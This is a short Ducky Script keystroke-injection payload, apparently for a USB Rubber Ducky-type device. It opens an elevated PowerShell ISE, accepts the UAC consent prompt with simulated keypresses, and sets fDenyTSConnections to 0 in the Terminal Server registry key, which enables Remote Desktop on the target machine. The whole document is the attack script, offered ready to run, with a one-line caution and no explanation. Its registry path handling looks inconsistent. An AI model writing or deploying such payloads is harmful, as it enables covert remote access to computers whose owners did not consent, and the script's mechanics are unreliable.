Check the script before running.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
DELAY 750 GUI r DELAY 750 STRING powershell Start-Process powershell_ise -Verb runAs ENTER DELAY 2050 ALT s DELAY 2050 ENTER CTRL R ENTER CTRL I STRING cd HKLM:\ ENTER STRING $RegKey ='HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\' ENTER STRING Set-ItemProperty -Path $RegKey -Name fDenyTSConnections -Value 0 ENTER DELAY 2050 F5 |